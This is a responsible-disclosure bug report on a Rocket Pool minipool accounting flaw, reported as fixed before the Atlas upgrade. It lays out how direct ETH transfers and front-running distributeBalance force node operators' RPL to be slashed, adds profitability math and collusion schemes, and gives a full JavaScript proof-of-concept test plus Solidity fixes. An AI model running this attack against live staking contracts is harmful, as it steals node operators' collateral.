# Bug Report - Rocket Pool ETH Transfer Attack *This bug report was produced by [@rileyholterhus](https://www.twitter.com/rileyholterhus) and knoshua, submitted via Immunefi and addressed in [commit 63f718e](https://github.com/rocket-pool/rocketpool/commit/63f718e50a0f14c4af26b18cbb4e3ecdd42e12dd) and [commit f657846](https://github.com/rocket-pool/rocketpool/commit/f657846ce304adb3406b9ac338638ccbc64f690e) before the Atlas upgrade.* ## Summary If a group of attackers directly transfers their ETH to a minipool, they can cause a node operator to lose up to 16 ETH. In this exploit, rETH holders receive both the transferred funds and the 16 ETH the node operator loses, so there is an incentive for rETH holders to collude for a profit. This collusion can occur in a trustless manner, which increases the likelihood of it happening. The attackers will profit by holding 33% of the rETH supply, and they can use unclaimed partial withdrawals to offset the exploit cost (slightly lowering this percentage). There also exist theoretical ways to make the exploit more efficient/profitable . We believe that a few relatively simple changes can make this attack impossible. ## Main Idea In Rocket Pool's upcoming Atlas upgrade, the `distributeBalance` function has logic that depends on the minipool's balance (which we will refer to as $b$). If $b \geq 8$ ETH, the minipool assumes that the node operator (NO) has completed a full withdrawal from the beacon chain. Since the NO only provides 8 of the 32 validator ETH, $b < 24$ ETH is considered a net loss of funds, resulting in a slashing of the NO's RPL collateral. This logic creates two potential attack vectors for malicious actors seeking to exploit the accounting system: 1. By frontrunning a victim NO's `distributeBalance` call with a manual transfer, an attacker can cause the NO to inadvertently trigger a slashing of their RPL collateral. This is possible if the NO uses the public mempool for their transaction (which most Ethereum users do). 2. By manually transferring ETH and calling `beginUserDistribute` themselves, an attacker can trigger an RPL slashing after the user distribution wait time has passed (currently set to 14 days). This method does not work if the NO completes a full withdrawal during this period, but there are realistic scenarios (see below) where the user distribution wait time is shorter than the validator full-withdrawal wait time. This is especially true if Atlas is deployed prior to the Shanghai/Capella hard-fork. In either scenario, an attacker can spend $(8 - b)$ ETH per minipool to trigger a slashing of up to 16 ETH worth of RPL. The 8 ETH in the minipool belongs to the protocol and is distributed amongst all rETH holders. The slashed RPL is auctioned<sup>[1]</sup> for ETH and also distributed to rETH holders. As before the attack, 24 of the remaining 32 ETH on the beacon chain belong to rETH holders, because the ETH will be divided according to the original node/user share in subsequent calls to `distributeBalance`. So, suppose the attacker owns $y\%$ of the total rETH supply. According to the logic outlined above, the attacker can spend $(8 - b)$ ETH to gain $24y$ ETH<sup>[2]</sup>. For the attack to be profitable, the condition $24y > 8 - b$ must hold. With $b = 0$, the attack is profitable if $y > 33\%$. In practice, $b$ will not be zero, which means that the attack will require less rETH to be profitable. For example, with $b = 0.8$ ETH, the required percentage of rETH drops to $30\%$. ## Other Profitability Considerations At the start of the attack, a sudden drop in RPL token price is likely (due to panic and auction sell-pressure). To hedge against this expected price decline and possibly even profit from it, the attacker can short RPL. The liquidity available for shorting RPL is currently limited, but as the market matures in the future, it may allow for more efficient exploitation of this strategy. To reduce the cost required to profit from the attack, the attacker can borrow rETH in a leveraged manner. Although the market for borrowing rETH is also still developing, it is likely to become more efficient in the future. When they are slashed, the NO's staked RPL will likely fall below the 10% required for receiving RPL emissions. The attacker might also consider setting up and "defending" their own minipools (by never using the public mempool and only starting this attack with enough time for their own minipools to exit), so that they benefit from increased RPL rewards due to others being slashed below the cutoff. ## Trustless Pooling of ETH It is possible to create a system where rETH holders can trustlessly pool their ETH together to execute the attack. We believe that this makes the likelihood of the attack much higher, as hundreds or even thousands of users can trustlessly "opt-in" to the exploit for a profit. There are several ways that this could be implemented - we will give a high-level idea of one such way. Firstly, a smart contract is created where malicious rETH holders pool their funds. To execute the attack, external attackers spend 8 of their own ETH and provide proof to the contract that the attack was successful, after which they are reimbursed for the 8 ETH. This "proof" would involve the attackers showing that they transferred ETH to a minipool and caused it to be slashed for 16 ETH, which can be verified against the blockhashes these transactions took place in. The contract would also do some internal accounting so that users can later take out their share of any ETH that went unused. There are obviously some smaller details missing here, but we are convinced that a system could be set up where rETH holders can participate in the attack by simply depositing their ETH in a smart contract for boosted yield. ## Long Beacon Chain Exit Queue Scenarios The beacon chain [rate-limits](https://eth2book.info/bellatrix/annotated-spec/#min_per_epoch_churn_limit) exits of validators. Based on the current number of validators, 8 can exit per epoch (1800 validators per day). More than 4.5% of validators exiting around the same time would lead to a queue longer than 2 weeks. Given that Shapella represents the first opportunity to exit validators that have been running for more than 2 years, it's possible we see significant exits right after it becomes possible. [Consensys](https://consensys.net/shanghai-capella-upgrade/#:~:text=Assuming%20the%20protocol%E2%80%99s%20churn%20limit%20is%20eight%2C%20processing%20this%20number%20of%20full%20withdrawals%20would%20take%20over%2020%20days) has pointed out that Kraken exiting their validators (to comply with recent SEC charges) would lead to a 20-day queue. There is also the possibility of a mass slashing event (from a client bug or a large staking provider having an issue) force exiting many validators at the same time. Since Lido is going to implement [withdrawal requests](https://hackmd.io/@lido/SyaJQsZoj#Proposed-design), increased DeFi volatility like we saw in the [past](https://thedefiant.io/lido-steth-incentives) will lead to many of their validators exiting. ## Proof of Concept To show that our general math is correct, we have put together a proof of concept that demonstrates a rETH holder with 26% of the rETH supply can profit from the exploit if a minipool has 2 ETH that has been accrued (this matches our math since $(8 - 2)/24 = 25\% < 26\%$). We ran this test file by adding it to a new folder in the [test](https://github.com/rocket-pool/rocketpool/tree/v1.2/test) section of the v1.2 branch, which we then imported and used in `rocket-pool-tests.js`. This is the code we used: ``` import { increaseTime, mineBlocks } from '../_utils/evm'; import { printTitle } from '../_utils/formatting'; import { RocketDAONodeTrustedSettingsMinipool, RocketNodeStaking, RocketTokenRETH, RocketVault, RocketNetworkPrices } from '../_utils/artifacts'; import { auctionPlaceBid } from '../_helpers/auction'; import { userDeposit } from '../_helpers/deposit'; import { createMinipool, stakeMinipool } from '../_helpers/minipool'; import { submitBalances } from '../network/scenario-submit-balances' import { registerNode, setNodeTrusted, nodeStakeRPL } from '../_helpers/node'; import { getRethBalance, mintRPL, getRethTotalSupply } from '../_helpers/tokens'; import { createLot } from '../auction/scenario-create-lot'; import { claimBid } from '../auction/scenario-claim-bid'; import { beginUserDistribute, withdrawValidatorBalance } from '../minipool/scenario-withdraw-validator-balance' import { setDAONodeTrustedBootstrapSetting } from '../dao/scenario-dao-node-trusted-bootstrap'; import { upgradeOneDotTwo } from '../_utils/upgrade'; import { assertBN } from '../_helpers/bn'; import { burnReth } from '../token/scenario-reth-burn'; export default function() { contract('ExploitProofOfConceptTests', async (accounts) => { // Accounts const [ owner, node, trustedNode, attacker, regularUser, ] = accounts; // Setup let rplStakeBefore = '10000'.ether; let scrubPeriod = (60 * 60 * 24); // 24 hours let minipool; let rocketNodeStaking; let rocketNetworkPrices; let rocketTokenRETH; let rocketVault; before(async () => { await upgradeOneDotTwo(owner); rocketNodeStaking = await RocketNodeStaking.deployed(); rocketNetworkPrices = await RocketNetworkPrices.deployed(); rocketTokenRETH = await RocketTokenRETH.deployed(); rocketVault = await RocketVault.deployed(); // Set settings await setDAONodeTrustedBootstrapSetting(RocketDAONodeTrustedSettingsMinipool, 'minipool.scrub.period', scrubPeriod, {from: owner}); // Register node await registerNode({from: node}); // Register trusted node await registerNode({from: trustedNode}); await setNodeTrusted(trustedNode, 'saas_1', 'node@home.com', owner); // Mint RPL to node & stake; create & stake minipool await mintRPL(owner, node, rplStakeBefore); await nodeStakeRPL(rplStakeBefore, {from: node}); minipool = await createMinipool({from: node, value: '8'.ether}); await userDeposit({from: regularUser, value: '74'.ether}); await increaseTime(web3, scrubPeriod + 1); await stakeMinipool(minipool, {from: node}); }); it(printTitle('Slashing example with 26% rETH supply'), async () => { let attackerETHBefore = await web3.eth.getBalance(attacker).then(value => value.BN); // 0. attacker has 26% of the rETH supply await userDeposit({from: attacker, value: '26'.ether}); let rethBalanceattacker = await getRethBalance(attacker); let rethTotalSupply = await getRethTotalSupply(); assertBN.equal( rethBalanceattacker.mul('100'.BN), rethTotalSupply.mul('26'.BN), 'Attacker has <26% totalSupply' ); // 1. NO has 2 ETH in accrued rewards await web3.eth.sendTransaction({ from: owner, to: minipool.address, value: '2'.ether, }); // 2. Frontrunner (attacker) transfers 6 ETH to minipool await web3.eth.sendTransaction({ from: attacker, to: minipool.address, value: '6'.ether, }); // 3. distributeBalance tx happens await withdrawValidatorBalance(minipool, '0'.ether, node, true); // 4. Minipool has now been slashed for 16 ETH of RPL const rplStakeAfter = await rocketNodeStaking.getNodeRPLStake(node); const rplStakeDiff = rplStakeBefore.sub(rplStakeAfter); const rplPrice = await rocketNetworkPrices.getRPLPrice(); const ethEquivalentSlashed = rplStakeDiff.mul(rplPrice).div('1'.ether); assertBN.equal(ethEquivalentSlashed, '16'.ether, 'Victim was not slashed 16 ETH'); // 5. After an actual withdrawal, NO only gets 8 ETH back // (aside: another address needs to do the withdrawal now since its finalised) await web3.eth.sendTransaction({ from: owner, to: minipool.address, value: '32'.ether, }); await beginUserDistribute(minipool, { from: attacker }); await increaseTime(web3, 60 * 60 * 24 * 14 + 1); await withdrawValidatorBalance(minipool, '0'.ether, attacker); let refundAmount = await minipool.getNodeRefundBalance.call(); assertBN.equal(refundAmount, '8'.ether, 'Refund amount is not 8 ETH'); // 6. Auctions sends additional ETH back to deposit queue await createLot({ from: attacker }); await createLot({ from: attacker }); await auctionPlaceBid(0, { from: regularUser, value: '10'.ether }); await auctionPlaceBid(1, { from: regularUser, value: '6'.ether }); await claimBid(0, { from: regularUser }); await claimBid(1, { from: regularUser }); // 7. At this point, there is no ETH on the consensus layer. All the ETH in the system // is in the rETH contract and the rocket vault. So the exchange rate *should* be updated // using those balances let block = await web3.eth.getBlockNumber(); let rETHBalance = await web3.eth.getBalance(rocketTokenRETH.address).then(value => value.BN); let rocketVaultBalance = await web3.eth.getBalance(rocketVault.address).then(value => value.BN); let totalBalance = rETHBalance.add(rocketVaultBalance); let stakingBalance = '0'.ether; await submitBalances(block, totalBalance, stakingBalance, rethTotalSupply, { from: trustedNode }); // 8. attacker burns their rETH now await burnReth(rethBalanceattacker, { from: attacker }); // Check the results let attackerETHAfter = await web3.eth.getBalance(attacker).then(value => value.BN); console.log('Final results:') console.log('Attacker Balance Before', attackerETHBefore.toString()); console.log('Attacker Balance After', attackerETHAfter.toString()); let attackerProfit = attackerETHAfter.sub(attackerETHBefore); assertBN.isAtLeast(attackerProfit, '0'.ether, 'Attack did not profit'); }); }); } ``` ## Recommended Fix One option is to increase the balance threshold at which `distributeBalance` goes from skimming rewards to returning principal deposits. This value is currently 8 ETH. For LEB8s, a threshold of 24 ETH would prevent any attack. If Rocket Pool wants to reduce the NO requirement in the future, this threshold would have to be increased further. The drawback of this approach is that it becomes increasingly likely that a minipool is legitimately slashed and the remaining balance ends up lower than the threshold. In that case, rETH holders would participate in slashing losses instead of NO ETH being used first (and also RPL would not be used to cover losses). To prevent the non-frontrunning variant of the attack, it would help to set `minipool.user.distribute.window.start` to a larger value, so that it is always higher than the beacon chain exit queue plus skimming time. Getting this value right is difficult and a long delay would be inconvenient when a non-NO needs to call `distributeBalance`. This would also require smartnode changes (to watch for the attack and exit if it happens), and this doesn't address the frontrunning attack vector. Another approach would be to limit the calling of `distributeBalance` to the node operator and oDAO members when the balance is above the threshold. This would add another duty for the oDAO and rely on oDAO not acting maliciously. A very similar idea would be allowing the oDAO to "undo" a `userDistributeBalance` call, so that if this attack happens, they can simply mark the 8 ETH as actually being rewards and not a full withdrawal. Our preferred solution is to add accounting for `userDepositBalance` in `_distributeBalance()`: ``` if (userAmount > 0) { // Send user amount to rETH contract payable(rocketTokenRETH).transfer(userAmount); // add accounting for refunded ETH setUserDepositBalance(getUserDepositBalance.sub(userAmount)); } ``` and in `_slash()`: ``` function _slash() private { // Get contracts RocketNodeStakingInterface rocketNodeStaking = RocketNodeStakingInterface(getContractAddress("rocketNodeStaking")); // Slash required amount and reset storage value uint256 slashAmount = nodeSlashBalance; nodeSlashBalance = 0; rocketNodeStaking.slashRPL(nodeAddress, slashAmount); // add accounting for slashed RPL setUserDepositBalance(getUserDepositBalance().sub(slashAmount)); } ``` where `setUserDepositBalance()` is something like this: ``` function setUserDepositBalance(value) override internal { if (depositType == MinipoolDeposit.Variable) { userDepositBalance = value; } else { userDepositBalanceLegacy = value; } } ``` With these changes, if someone sends 8 ETH to a LEB8 and calls `distributeBalance`, RPL would still be slashed as it is now, but `userDepositBalance` is reduced from 24 ETH to 0. So while the NO loses 16 ETH worth of RPL, they gain 24 ETH in the form of a larger share of the validator. It's no longer possible to profit from this attack, as any ETH sent to the minipool is a donation to the node operator. However, this solution could introduce a new issue: A node operator could abuse this mechanism to "sell" RPL to rETH holders. To prevent both issues, it might make sense to discount the amount that the `userDepositBalance` is decremented by (while still slashing/auctioning the full amount): ``` // add discounted accounting for slashed RPL: 2/3 setUserDepositBalance(getUserDepositBalance().sub(slashAmount.mul(2).div(3))); ``` With this logic, a NO can only "sell" staked RPL at a heavy discount, and this still ensures that the attack is unprofitable for both LEB8 and LEB4 minipools: LEB8: $8 + 16 + \frac{2}{3}\cdot(24-8) - 8 = 21\frac{1}{3} < 24$ LEB4: $8 + 20 + \frac{2}{3}\cdot(28-8) - 8 = 26\frac{2}{3} < 28$ --- ## Appendix of Possible Counterpoints: **[1]:** Currently, [Rocket Pool auctions are disabled](https://etherscan.io/address/0x87c41E0a44826745b398071025e306Ce03bebeCf#readContract#F2). If Atlas was deployed today and someone attempted to profit from this attack, the contracts could be upgraded to "undo" the RPL slashings. While this is true, even one user being slashed in this way is likely enough to cause mass panic and bad PR. Moreover, auctions *will* be enabled eventually anyways, so the problem still exists. **[2]:** Technically, the profit relies on the oDAO correctly updating the rETH exchange rate after the attack. It would probably be difficult for the oDAO to coordinate quickly enough to alter the exchange rate formula (to exclude the illicit profit at the expense of the NO), and it is debatable if this even *should* happen. Also, the secondary rETH price may trade higher on the secondary market if users expect the illicit profits to increase the exchange rate.